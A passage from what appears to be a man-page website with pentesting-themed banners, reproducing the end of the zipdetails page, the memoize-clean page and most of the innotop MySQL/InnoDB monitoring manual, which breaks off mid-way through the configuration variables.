0002 01 00 Int File Attributes 0001 [Bit 0] 1 Text Data 00BD 0004 00 00 B4 81 Ext File Attributes 81B40000 00C1 0004 2F 00 00 00 Local Header Offset 0000002F 00C5 000B 6E 75 6D 62 Filename numbers.txt 65 72 73 2E 74 78 74 00D0 0004 50 4B 05 06 END CENTRAL HEADER 06054B50 00D4 0002 00 00 Number of this disk 0000 00D6 0002 00 00 Central Dir Disk no 0000 00D8 0002 02 00 Entries in this disk 0002 00DA 0002 02 00 Total Entries 0002 00DC 0004 72 00 00 00 Size of Central Dir 00000072 00E0 0004 5E 00 00 00 Offset to Central Dir 0000005E 00E4 0002 00 00 Comment Length 0000 Done

LIMITATIONS

The following zip file features are not supported by this program:

  • Multi-part archives.

  • The strong encryption features defined in the APPNOTE.TXT <http://www.pkware.com/documents/casestudies/APPNOTE.TXT> document.

TODO

Error handling is a work in progress. If the program encounters a problem reading a zip file it is likely to terminate with an unhelpful error message.

SUPPORT

General feedback/questions/bug reports should be sent to <https://github.com/pmqs/zipdetails/issues>.

SEE ALSO

The primary reference for Zip files is APPNOTE.TXT <http://www.pkware.com/documents/casestudies/APPNOTE.TXT>.

An alternative reference is the Info-Zip appnote. This is available from <ftp://ftp.info-zip.org/pub/infozip/doc/>

For details of WinZip AES encryption see AES Encryption Information: Encryption Specification AE-1 and AE-2 <https://www.winzip.com/win/es/aes_info.html>.

The zipinfo program that comes with the info-zip distribution (<http://www.info-zip.org/>) can also display details of the structure of a zip file.

AUTHOR

Paul Marquess [email protected].

COPYRIGHT

Copyright (c) 2011-2022 Paul Marquess. All rights reserved.

This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

228 - Linux cli command memoize-clean

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memoize-clean and provides detailed information about the command memoize-clean, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memoize-clean.

NAME 🖥️ memoize-clean 🖥️

clean.pl, memoize-clean.py - Remove (stale) memo and extern files

SYNOPSIS

memoize-clean.pl [OPTIONS] [document1.mmz …]

memoize-clean.py [OPTIONS] [document1.mmz …]

DESCRIPTION

memoize-clean is a script accompanying Memoize, a TeX package which allows the author to reuse the results of compilation-intensive code such as TikZ pictures.

By default, this script removes stale memo and extern files. A stale memo or extern is an extern produced during a compilation of a previous version of the document which was neither used nor produced during the last compilation of the document. Typically, stale files arise when we change the memoized code (or its context).

memoize-clean.pl removes all memo and extern files with prefixes mentioned in the listed .mmz files and by options –prefix which are not explicitly mentioned in the .mmz files.

Before deleting anything, memoize-clean.pl lists all the files it would delete and asks for confirmation.

OPTIONS

-p, –prefix
Add a memo/extern prefix for cleaning. This option may be given multiple times.

-a, –all
Remove all memos and externs, rather than only the stale ones.

-y, –yes
Do not ask for confirmation.

-q, –quiet
Don’t describe what’s happening.

-h, –help
Show help.

-V, –version
Show the Memoize version number and exit.

SEE ALSO

Memoize manual (https://ctan.org/pkg/memoize), section 6.6.3.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

229 - Linux cli command innotop

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command innotop and provides detailed information about the command innotop, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the innotop.

NAME 🖥️ innotop 🖥️

MySQL and InnoDB transaction/status monitor.

SYNOPSIS

To monitor servers normally:

innotop

To monitor InnoDB status information from a file:

innotop /var/log/mysql/mysqld.err

To run innotop non-interactively in a pipe-and-filter configuration:

innotop –count 5 -d 1 -n

To monitor a database on another system using a particular username and password:

innotop -u <username> -p <password> -h <hostname>

DESCRIPTION

innotop monitors MySQL servers. Each of its modes shows you a different aspect of what’s happening in the server. For example, there’s a mode for monitoring replication, one for queries, and one for transactions. innotop refreshes its data periodically, so you see an updating view.

innotop has lots of features for power users, but you can start and run it with virtually no configuration. If you’re just getting started, see QUICK-START. Press ‘?’ at any time while running innotop for context-sensitive help.

QUICK-START

To start innotop, open a terminal or command prompt. If you have installed innotop on your system, you should be able to just type innotop and press Enter; otherwise, you will need to change to innotop’s directory and type perl innotop.

With no options specified, innotop will attempt to connect to a MySQL server on localhost using mariadb_read_default_group=client for other connection parameters. If you need to specify a different username and password, use the -u and -p options, respectively. To monitor a MySQL database on another host, use the -h option.

After you’ve connected, innotop should show you something like the following:

[RO] Query List (? for help) localhost, 01:11:19, 449.44 QPS, 14/7/163 con/run CXN When Load QPS Slow QCacheHit KCacheHit BpsIn BpsOut localhost Total 0.00 1.07k 697 0.00% 98.17% 476.83k 242.83k CXN Cmd ID User Host DB Time Query localhost Query 766446598 test 10.0.0.1 foo 00:02 INSERT INTO table (

(This sample is truncated at the right so it will fit on a terminal when running ‘man innotop’)

If your server is busy, you’ll see more output. Notice the first line on the screen, which tells you that readonly is set to true ([RO]), what mode you’re in and what server you’re connected to. You can change to other modes with keystrokes; press ‘T’ to switch to a list of InnoDB transactions, for example.

Press the ‘?’ key to see what keys are active in the current mode. You can press any of these keys and innotop will either take the requested action or prompt you for more input. If your system has Term::ReadLine support, you can use TAB and other keys to auto-complete and edit input.

To quit innotop, press the ‘q’ key.

OPTIONS

innotop is mostly configured via its configuration file, but some of the configuration options can come from the command line. You can also specify a file to monitor for InnoDB status output; see MONITORING A FILE for more details.

You can negate some options by prefixing the option name with –no. For example, –noinc (or –no-inc) negates –inc.

–color
Enable or disable terminal coloring. Corresponds to the color config file setting.

–config
Specifies a configuration file to read. This option is non-sticky, that is to say it does not persist to the configuration file itself.

–count
Refresh only the specified number of times (ticks) before exiting. Each refresh is a pause for interval seconds, followed by requesting data from MySQL connections and printing it to the terminal.

–delay
Specifies the amount of time to pause between ticks (refreshes). Corresponds to the configuration option interval.

–help
Print a summary of command-line usage and exit.

–host
Host to connect to.

–inc
Specifies whether innotop should display absolute numbers or relative numbers (offsets from their previous values). Corresponds to the configuration option status_inc.

–mode
Specifies the mode in which innotop should start. Corresponds to the configuration option mode.

–nonint
Enable non-interactive operation. See NON-INTERACTIVE OPERATION for more.

–password
Password to use for connection.

–port
Port to use for connection.

–skipcentral
Don’t read the central configuration file.

–timestamp
In -n mode, write a timestamp either before every screenful of output, or if the option is given twice, at the start of every line. The format is controlled by the timeformat config variable.

–user
User to use for connection.

–version
Output version information and exit.

–write
Sets the configuration option readonly to 0, making innotop write the running configuration to ~/.innotop/innotop.conf on exit, if no configuration file was loaded at start-up.

HOTKEYS

innotop is interactive, and you control it with key-presses.

  • Uppercase keys switch between modes.

  • Lowercase keys initiate some action within the current mode.

  • Other keys do something special like change configuration or show the innotop license.

Press ‘?’ at any time to see the currently active keys and what they do.

MODES

Each of innotop’s modes retrieves and displays a particular type of data from the servers you’re monitoring. You switch between modes with uppercase keys. The following is a brief description of each mode, in alphabetical order. To switch to the mode, press the key listed in front of its heading in the following list:

A: Health Dashboard
This mode displays a single table with one row per monitored server. The columns show essential overview information about the server’s health, and coloration rules show whether replication is running or if there are any very long-running queries or excessive replication delay.

B: InnoDB Buffers
This mode displays information about the InnoDB buffer pool, page statistics, insert buffer, and adaptive hash index. The data comes from SHOW INNODB STATUS. This mode contains the buffer_pool, page_statistics, insert_buffers, and adaptive_hash_index tables by default.

C: Command Summary
This mode is similar to mytop’s Command Summary mode. It shows the cmd_summary table, which looks something like the following: Command Summary (? for help) localhost, 25+07:16:43, 2.45 QPS, 3 thd, 5.0.40 _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ Command Summary _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ Name Value Pct Last Incr Pct Select_scan 3244858 69.89% 2 100.00% Select_range 1354177 29.17% 0 0.00% Select_full_join 39479 0.85% 0 0.00% Select_full_range_join 4097 0.09% 0 0.00% Select_range_check 0 0.00% 0 0.00% The command summary table is built by extracting variables from STATUS_VARIABLES. The variables must be numeric and must match the prefix given by the cmd_filter configuration variable. The variables are then sorted by value descending and compared to the last variable, as shown above. The percentage columns are percentage of the total of all variables in the table, so you can see the relative weight of the variables. The example shows what you see if the prefix is Select_. The default prefix is Com_. You can choose a prefix with the ’s’ key. It’s rather like running SHOW VARIABLES LIKE prefix% with memory and nice formatting. Values are aggregated across all servers. The Pct columns are not correctly aggregated across multiple servers. This is a known limitation of the grouping algorithm that may be fixed in the future.

D: InnoDB Deadlocks
This mode shows the transactions involved in the last InnoDB deadlock. A second table shows the locks each transaction held and waited for. A deadlock is caused by a cycle in the waits-for graph, so there should be two locks held and one waited for unless the deadlock information is truncated. InnoDB puts deadlock information before some other information in the SHOW INNODB STATUS output. If there are a lot of locks, the deadlock information can grow very large, and there is a limit on the size of the SHOW INNODB STATUS output. A large deadlock can fill the entire output, or even be truncated, and prevent you from seeing other information at all. If you are running innotop in another mode, for example T mode, and suddenly you don’t see anything, you might want to check and see if a deadlock has wiped out the data you need. If it has, you can create a small deadlock to replace the large one. Use the ‘w’ key to ‘wipe’ the large deadlock with a small one. This will not work unless you have defined a deadlock table for the connection (see SERVER CONNECTIONS). You can also configure innotop to automatically detect when a large deadlock needs to be replaced with a small one (see auto_wipe_dl). This mode displays the deadlock_transactions and deadlock_locks tables by default.

F: InnoDB Foreign Key Errors
This mode shows the last InnoDB foreign key error information, such as the table where it happened, when and who and what query caused it, and so on. InnoDB has a huge variety of foreign key error messages, and many of them are just hard to parse. innotop doesn’t always do the best job here, but there’s so much code devoted to parsing this messy, unparsable output that innotop is likely never to be perfect in this regard. If innotop doesn’t show you what you need to see, just look at the status text directly. This mode displays the fk_error table by default.

I: InnoDB I/O Info
This mode shows InnoDB’s I/O statistics, including the I/O threads, pending I/O, file I/O miscellaneous, and log statistics. It displays the io_threads, pending_io, file_io_misc, and log_statistics tables by default.

K: InnoDB Lock Waits
This mode shows information from InnoDB plugin’s transaction and locking tables. You can use it to find when a transaction is waiting for another, and kill the blocking transaction. It displays the “innodb_blocked_blocker” table.

L: Locks
This mode shows information about current locks. At the moment only InnoDB locks are supported, and by default you’ll only see locks for which transactions are waiting. This information comes from the TRANSACTIONS section of the InnoDB status text. If you have a very busy server, you may have frequent lock waits; it helps to be able to see which tables and indexes are the hot spot for locks. If your server is running pretty well, this mode should show nothing. You can configure MySQL and innotop to monitor not only locks for which a transaction is waiting, but those currently held, too. You can do this with the InnoDB Lock Monitor (<http://dev.mysql.com/doc/en/innodb-monitor.html>). It’s not documented in the MySQL manual, but creating the lock monitor with the following statement also affects the output of SHOW INNODB STATUS, which innotop uses: CREATE TABLE innodb_lock_monitor(a int) ENGINE=INNODB; This causes InnoDB to print its output to the MySQL file every 16 seconds or so, as stated in the manual, but it also makes the normal SHOW INNODB STATUS output include lock information, which innotop can parse and display (that’s the undocumented feature). This means you can do what may have seemed impossible: to a limited extent (InnoDB truncates some information in the output), you can see which transaction holds the locks something else is waiting for. You can also enable and disable the InnoDB Lock Monitor with the key mappings in this mode. This mode displays the innodb_locks table by default. Here’s a sample of the screen when one connection is waiting for locks another connection holds: _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ InnoDB Locks _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ CXN ID Type Waiting Wait Active Mode DB Table Index localhost 12 RECORD 1 00:10 00:10 X test t1 PRIMARY localhost 12 TABLE 0 00:10 00:10 IX test t1 localhost 12 RECORD 1 00:10 00:10 X test t1 PRIMARY localhost 11 TABLE 0 00:00 00:25 IX test t1 localhost 11 RECORD 0 00:00 00:25 X test t1 PRIMARY You can see the first connection, ID 12, is waiting for a lock on the PRIMARY key on test.t1, and has been waiting for 10 seconds. The second connection isn’t waiting, because the Waiting column is 0, but it holds locks on the same index. That tells you connection 11 is blocking connection 12.

M: Master/Slave Replication Status
This mode shows the output of SHOW SLAVE STATUS and SHOW MASTER STATUS in three tables. The first two divide the slave’s status into SQL and I/O thread status, and the last shows master status. Filters are applied to eliminate non-slave servers from the slave tables, and non-master servers from the master table. This mode displays the slave_sql_status, slave_io_status, and master_status tables by default.

O: Open Tables
This section comes from MySQL’s SHOW OPEN TABLES command. By default it is filtered to show tables which are in use by one or more queries, so you can get a quick look at which tables are ‘hot’. You can use this to guess which tables might be locked implicitly. This mode displays the open_tables mode by default.

U: User Statistics
This mode displays data that’s available in Percona’s enhanced version of MySQL (also known as Percona Server with XtraDB). Specifically, it makes it easy to enable and disable the so-called user statistics. This feature gathers stats on clients, threads, users, tables, and indexes and makes them available as INFORMATION_SCHEMA tables. These are invaluable for understanding what your server is doing. They are also available in MariaDB. The statistics supported so far are only from the TABLE_STATISTICS and INDEX_STATISTICS tables added by Percona. There are three views: one of table stats, one of index stats (which can be aggregated with the = key), and one of both. The server doesn’t gather these stats by default. You have to set the variable userstat_running to turn it on. You can do this easily with innotop from U mode, with the ’s’ key.

Q: Query List
This mode displays the output from SHOW FULL PROCESSLIST, much like mytop’s query list mode. This mode does not show InnoDB-related information. This is probably one of the most useful modes for general usage. There is an informative header that shows general status information about your server. You can toggle it on and off with the ‘h’ key. By default, innotop hides inactive processes and its own process. You can toggle these on and off with the ‘i’ and ‘a’ keys. You can EXPLAIN a query from this mode with the ’e’ key. This displays the query’s full text, the results of EXPLAIN, and in newer MySQL versions, even the optimized query resulting from EXPLAIN EXTENDED. innotop also tries to rewrite certain queries to make them EXPLAIN-able. For example, INSERT/SELECT statements are rewritable. This mode displays the q_header and processlist tables by default.

R: InnoDB Row Operations and Semaphores
This mode shows InnoDB row operations, row operation miscellaneous, semaphores, and information from the wait array. It displays the row_operations, row_operation_misc, semaphores, and wait_array tables by default.

S: Variables & Status
This mode calculates statistics, such as queries per second, and prints them out in several different styles. You can show absolute values, or incremental values between ticks. You can switch between the views by pressing a key. The ’s’ key prints a single line each time the screen updates, in the style of vmstat. The ‘g’ key changes the view to a graph of the same numbers, sort of like tload. The ‘v’ key changes the view to a pivoted table of variable names on the left, with successive updates scrolling across the screen from left to right. You can choose how many updates to put on the screen with the num_status_sets configuration variable. Headers may be abbreviated to fit on the screen in interactive operation. You choose which variables to display with the ‘c’ key, which selects from predefined sets, or lets you create your own sets. You can edit the current set with the ’e’ key. This mode doesn’t really display any tables like other modes. Instead, it uses a table definition to extract and format the data, but it then transforms the result in special ways before outputting it. It uses the var_status table definition for this.

T: InnoDB Transactions
This mode shows transactions from the InnoDB monitor’s output, in top-like format. This mode is the reason I wrote innotop. You can kill queries or processes with the ‘k’ and ‘x’ keys, and EXPLAIN a query with the ’e’ or ‘f’ keys. InnoDB doesn’t print the full query in transactions, so explaining may not work right if the query is truncated. The informational header can be toggled on and off with the ‘h’ key. By default, innotop hides inactive transactions and its own transaction. You can toggle this on and off with the ‘i’ and ‘a’ keys. This mode displays the t_header and innodb_transactions tables by default.

INNOTOP STATUS

The first line innotop displays is a status bar of sorts. What it contains depends on the mode you’re in, and what servers you’re monitoring. The first few words are always [RO] (if readonly is set to 1), the innotop mode, such as InnoDB Txns for T mode, followed by a reminder to press ‘?’ for help at any time.

ONE SERVER

The simplest case is when you’re monitoring a single server. In this case, the name of the connection is next on the status line. This is the name you gave when you created the connection Ω- most likely the MySQL server’s hostname. This is followed by the server’s uptime.

If you’re in an InnoDB mode, such as T or B, the next word is InnoDB followed by some information about the SHOW INNODB STATUS output used to render the screen. The first word is the number of seconds since the last SHOW INNODB STATUS, which InnoDB uses to calculate some per-second statistics. The next is a smiley face indicating whether the InnoDB output is truncated. If the smiley face is a :-), all is well; there is no truncation. A :^| means the transaction list is so long, InnoDB has only printed out some of the transactions. Finally, a frown :-( means the output is incomplete, which is probably due to a deadlock printing too much lock information (see D: InnoDB Deadlocks).

The next two words indicate the server’s queries per second (QPS) and how many threads (connections) exist. Finally, the server’s version number is the last thing on the line.

MULTIPLE SERVERS

If you are monitoring multiple servers (see SERVER CONNECTIONS), the status line does not show any details about individual servers. Instead, it shows the names of the connections that are active. Again, these are connection names you specified, which are likely to be the server’s hostname. A connection that has an error is prefixed with an exclamation point.

If you are monitoring a group of servers (see SERVER GROUPS), the status line shows the name of the group. If any connection in the group has an error, the group’s name is followed by the fraction of the connections that don’t have errors.

See ERROR HANDLING for more details about innotop’s error handling.

MONITORING A FILE

If you give a filename on the command line, innotop will not connect to ANY servers at all. It will watch the specified file for InnoDB status output and use that as its data source. It will always show a single connection called ‘file’. And since it can’t connect to a server, it can’t determine how long the server it’s monitoring has been up; so it calculates the server’s uptime as time since innotop started running.

SERVER ADMINISTRATION

While innotop is primarily a monitor that lets you watch and analyze your servers, it can also send commands to servers. The most frequently useful commands are killing queries and stopping or starting slaves.

You can kill a connection, or in newer versions of MySQL kill a query but not a connection, from Q: Query List and T: InnoDB Transactions modes. Press ‘k’ to issue a KILL command, or ‘x’ to issue a KILL QUERY command. innotop will prompt you for the server and/or connection ID to kill (innotop does not prompt you if there is only one possible choice for any input). innotop pre-selects the longest-running query, or the oldest connection. Confirm the command with ‘y’.

In Slave Replication Status in M: Master mode, you can start and stop slaves with the ‘a’ and ‘o’ keys, respectively. You can send these commands to many slaves at once. innotop fills in a default command of START SLAVE or STOP SLAVE for you, but you can actually edit the command and send anything you wish, such as SET GLOBAL SQL_SLAVE_SKIP_COUNTER=1 to make the slave skip one binlog event when it starts.

You can also ask innotop to calculate the earliest binlog in use by any slave and issue a PURGE MASTER LOGS on the master. Use the ‘b’ key for this. innotop will prompt you for a master to run the command on, then prompt you for the connection names of that master’s slaves (there is no way for innotop to determine this reliably itself). innotop will find the minimum binlog in use by these slave connections and suggest it as the argument to PURGE MASTER LOGS.

in U: User Statistics mode, you can use the ’s’ key to start and stop the collection of the statistics data for TABLE_STATISTICS and similar.

SERVER CONNECTIONS

When you create a server connection using ‘@’, innotop asks you for a series of inputs, as follows:

DSN
A DSN is a Data Source Name, which is the initial argument passed to the DBI module for connecting to a server. It is usually of the form DBI:MariaDB:;mariadb_read_default_group=mysql;host=HOSTNAME Since this DSN is passed to the DBD::MariaDB driver, you should read the driver’s documentation at <https://metacpan.org/pod/DBD::MariaDB> for the exact details on all the options you can pass the driver in the DSN. You can read more about DBI at <http://dbi.perl.org/docs/>, and especially at <http://search.cpan.org/~timb/DBI/DBI.pm>. The mariadb_read_default_group=mysql option lets the DBD driver read your MySQL options files, such as ~/.my.cnf on UNIX-ish systems. You can use this to avoid specifying a username or password for the connection.

InnoDB Deadlock Table
This optional item tells innotop a table name it can use to deliberately create a small deadlock (see D: InnoDB Deadlocks). If you specify this option, you just need to be sure the table doesn’t exist, and that innotop can create and drop the table with the InnoDB storage engine. You can safely omit or just accept the default if you don’t intend to use this.

Username
innotop will ask you if you want to specify a username. If you say ‘y’, it will then prompt you for a user name. If you have a MySQL option file that specifies your username, you don’t have to specify a username. The username defaults to your login name on the system you’re running innotop on.

Password
innotop will ask you if you want to specify a password. Like the username, the password is optional, but there’s an additional prompt that asks if you want to save the password in the innotop configuration file. If you don’t save it in the configuration file, innotop will prompt you for a password each time it starts. Passwords in the innotop configuration file are saved in plain text, not encrypted in any way.

Once you finish answering these questions, you should be connected to a server. But innotop isn’t limited to monitoring a single server; you can define many server connections and switch between them by pressing the ‘@’ key. See SWITCHING BETWEEN CONNECTIONS.

SERVER GROUPS

If you have multiple MySQL instances, you can put them into named groups, such as ‘all’, ‘masters’, and ‘slaves’, which innotop can monitor all together.

You can choose which group to monitor with the ‘#’ key, and you can press the TAB key to switch to the next group. If you’re not currently monitoring a group, pressing TAB selects the first group.

To create a group, press the ‘#’ key and type the name of your new group, then type the names of the connections you want the group to contain.

SWITCHING BETWEEN CONNECTIONS

innotop lets you quickly switch which servers you’re monitoring. The most basic way is by pressing the ‘@’ key and typing the name(s) of the connection(s) you want to use. This setting is per-mode, so you can monitor different connections in each mode, and innotop remembers which connections you choose.

You can quickly switch to the ’next’ connection in alphabetical order with the ’n’ key. If you’re monitoring a server group (see SERVER GROUPS) this will switch to the first connection.

You can also type many connection names, and innotop will fetch and display data from them all. Just separate the connection names with spaces, for example server1 server2. Again, if you type the name of a connection that doesn’t exist, innotop will prompt you for connection information and create the connection.

Another way to monitor multiple connections at once is with server groups. You can use the TAB key to switch to the ’next’ group in alphabetical order, or if you’re not monitoring any groups, TAB will switch to the first group.

innotop does not fetch data in parallel from connections, so if you are monitoring a large group or many connections, you may notice increased delay between ticks.

When you monitor more than one connection, innotop’s status bar changes. See INNOTOP STATUS.

ERROR HANDLING

Error handling is not that important when monitoring a single connection, but is crucial when you have many active connections. A crashed server or lost connection should not crash innotop. As a result, innotop will continue to run even when there is an error; it just won’t display any information from the connection that had an error. Because of this, innotop’s behavior might confuse you. It’s a feature, not a bug!

innotop does not continue to query connections that have errors, because they may slow innotop and make it hard to use, especially if the error is a problem connecting and causes a long time-out. Instead, innotop retries the connection occasionally to see if the error still exists. If so, it will wait until some point in the future. The wait time increases in ticks as the Fibonacci series, so it tries less frequently as time passes.

Since errors might only happen in certain modes because of the SQL commands issued in those modes, innotop keeps track of which mode caused the error. If you switch to a different mode, innotop will retry the connection instead of waiting.

By default innotop will display the problem in red text at the bottom of the first table on the screen. You can disable this behavior with the show_cxn_errors_in_tbl configuration option, which is enabled by default. If the debug option is enabled, innotop will display the error at the bottom of every table, not just the first. And if show_cxn_errors is enabled, innotop will print the error text to STDOUT as well. Error messages might only display in the mode that caused the error, depending on the mode and whether innotop is avoiding querying that connection.

NON-INTERACTIVE OPERATION

You can run innotop in non-interactive mode, in which case it is entirely controlled from the configuration file and command-line options. To start innotop in non-interactive mode, give the L<–nonint> command-line option. This changes innotop’s behavior in the following ways:

  • Certain Perl modules are not loaded. Term::Readline is not loaded, since innotop doesn’t prompt interactively. Term::ANSIColor and Win32::Console::ANSI modules are not loaded. Term::ReadKey is still used, since innotop may have to prompt for connection passwords when starting up.

  • innotop does not clear the screen after each tick.

  • innotop does not persist any changes to the configuration file.

  • If –count is given and innotop is in incremental mode (see status_inc and –inc), innotop actually refreshes one more time than specified so it can print incremental statistics. This suppresses output during the first tick, so innotop may appear to hang.

  • innotop only displays the first table in each mode. This is so the output can be easily processed with other command-line utilities such as awk and sed. To change which tables display in each mode, see TABLES. Since Q: Query List mode is so important, innotop automatically disables the q_header table. This ensures you’ll see the processlist table, even if you have innotop configured to show the q_header table during interactive operation. Similarly, in T: InnoDB Transactions mode, the t_header table is suppressed so you see only the innodb_transactions table.

  • All output is tab-separated instead of being column-aligned with whitespace, and innotop prints the full contents of each table instead of only printing one screenful at a time.

  • innotop only prints column headers once instead of every tick (see hide_hdr). innotop does not print table captions (see display_table_captions). innotop ensures there are no empty lines in the output.

  • innotop does not honor the shorten transformation, which normally shortens some numbers to human-readable formats.

  • innotop does not print a status line (see INNOTOP STATUS).

CONFIGURING

Nearly everything about innotop is configurable. Most things are possible to change with built-in commands, but you can also edit the configuration file.

While running innotop, press the ‘$’ key to bring up the configuration editing dialog. Press another key to select the type of data you want to edit:

S: Statement Sleep Times
Edits SQL statement sleep delays, which make innotop pause for the specified amount of time after executing a statement. See SQL STATEMENTS for a definition of each statement and what it does. By default innotop does not delay after any statements. This feature is included so you can customize the side-effects caused by monitoring your server. You may not see any effects, but some innotop users have noticed that certain MySQL versions under very high load with InnoDB enabled take longer than usual to execute SHOW GLOBAL STATUS. If innotop calls SHOW FULL PROCESSLIST immediately afterward, the processlist contains more queries than the machine actually averages at any given moment. Configuring innotop to pause briefly after calling SHOW GLOBAL STATUS alleviates this effect. Sleep times are stored in the stmt_sleep_times section of the configuration file. Fractional-second sleeps are supported, subject to your hardware’s limitations.

c: Edit Columns
Starts the table editor on one of the displayed tables. See TABLE EDITOR. An alternative way to start the table editor without entering the configuration dialog is with the ‘^’ key.

g: General Configuration
Starts the configuration editor to edit global and mode-specific configuration variables (see MODES). innotop prompts you to choose a variable from among the global and mode-specific ones depending on the current mode.

k: Row-Coloring Rules
Starts the row-coloring rules editor on one of the displayed table(s). See COLORS for details.

p: Manage Plugins
Starts the plugin configuration editor. See PLUGINS for details.

s: Server Groups
Lets you create and edit server groups. See SERVER GROUPS.

t: Choose Displayed Tables
Lets you choose which tables to display in this mode. See MODES and TABLES.

CONFIGURATION FILE

innotop’s default configuration file locations are $HOME/.innotop and /etc/innotop/innotop.conf, and they are looked for in that order. If the first configuration file exists, the second will not be processed. Those can be overridden with the –config command-line option. You can edit it by hand safely, however innotop reads the configuration file when it starts, and, if readonly is set to 0, writes it out again when it exits. Thus, if readonly is set to 0, any changes you make by hand while innotop is running will be lost.

innotop doesn’t store its entire configuration in the configuration file. It has a huge set of default configuration values that it holds only in memory, and the configuration file only overrides these defaults. When you customize a default setting, innotop notices, and then stores the customizations into the file. This keeps the file size down, makes it easier to edit, and makes upgrades easier.

A configuration file is read-only be default. You can override that with –write. See readonly.

The configuration file is arranged into sections like an INI file. Each section begins with [section-name] and ends with [/section-name]. Each section’s entries have a different syntax depending on the data they need to store. You can put comments in the file; any line that begins with a # character is a comment. innotop will not read the comments, so it won’t write them back out to the file when it exits. Comments in read-only configuration files are still useful, though.

The first line in the file is innotop’s version number. This lets innotop notice when the file format is not backwards-compatible, and upgrade smoothly without destroying your customized configuration.

The following list describes each section of the configuration file and the data it contains:

general
The ‘general’ section contains global configuration variables and variables that may be mode-specific, but don’t belong in any other section. The syntax is a simple key=value list. innotop writes a comment above each value to help you edit the file by hand.

S_func
Controls S mode presentation (see S: Variables & Status). If g, values are graphed; if s, values are like vmstat; if p, values are in a pivoted table.

S_set
Specifies which set of variables to display in S: Variables & Status mode. See VARIABLE SETS.

auto_wipe_dl
Instructs innotop to automatically wipe large deadlocks when it notices them. When this happens you may notice a slight delay. At the next tick, you will usually see the information that was being truncated by the large deadlock.

charset
Specifies what kind of characters to allow through the no_ctrl_char transformation. This keeps non-printable characters from confusing a terminal when you monitor queries that contain binary data, such as images. The default is ‘ascii’, which considers anything outside normal ASCII to be a control character. The other allowable values are ‘unicode’ and ’none’. ’none’ considers every character a control character, which can be useful for collapsing ALL text fields in queries.

cmd_filter
This is the prefix that filters variables in C: Command Summary mode.

color
Whether terminal coloring is permitted.

cxn_timeout
On MySQL versions 4.0.3 and newer, this variable is used to set the connection’s timeout, so MySQL doesn’t close the connection if it is not used for a while. This might happen because a connection isn’t monitored in a particular mode, for example.

debug
This option enables more verbose errors and makes innotop more strict in some places. It can help in debugging filters and other user-defined code. It also makes innotop write a lot of information to debugfile when there is a crash.

debugfile
A file to which innotop will write information when there is a crash. See FILES.

display_table_captions
innotop displays a table caption above most tables. This variable suppresses or shows captions on all tables globally. Some tables are configured with the hide_caption property, which overrides this.

global
Whether to show GLOBAL variables and status. innotop only tries to do this on servers which support the GLOBAL option to SHOW VARIABLES and SHOW STATUS. In some MySQL versions, you need certain privileges to do this; if you don’t have them, innotop will not be able to fetch any variable and status data. This configuration variable lets you run innotop and fetch what data you can even without the elevated privileges. I can no longer find or reproduce the situation where GLOBAL wasn’t allowed, but I know there was one.

graph_char
Defines the character to use when drawing graphs in S: Variables & Status mode.

header_highlight
Defines how to highlight column headers. This only works if Term::ANSIColor is available. Valid values are ‘bold’ and ‘underline’.

hide_hdr
Hides column headers globally.

interval
The interval at which innotop will refresh its data (ticks). The interval is implemented as a sleep time between ticks, so the true interval will vary depending on how long it takes innotop to fetch and render data. This variable accepts fractions of a second.

mode
The mode in which innotop should start. Allowable arguments are the same as the key presses that select a mode interactively. See MODES.

num_digits
How many digits to show in fractional numbers and percents. This variable’s range is between 0 and 9 and can be set directly from S: Variables & Status mode with the ‘+’ and ‘-’ keys. It is used in the set_precision, shorten, and percent transformations.

num_status_sets
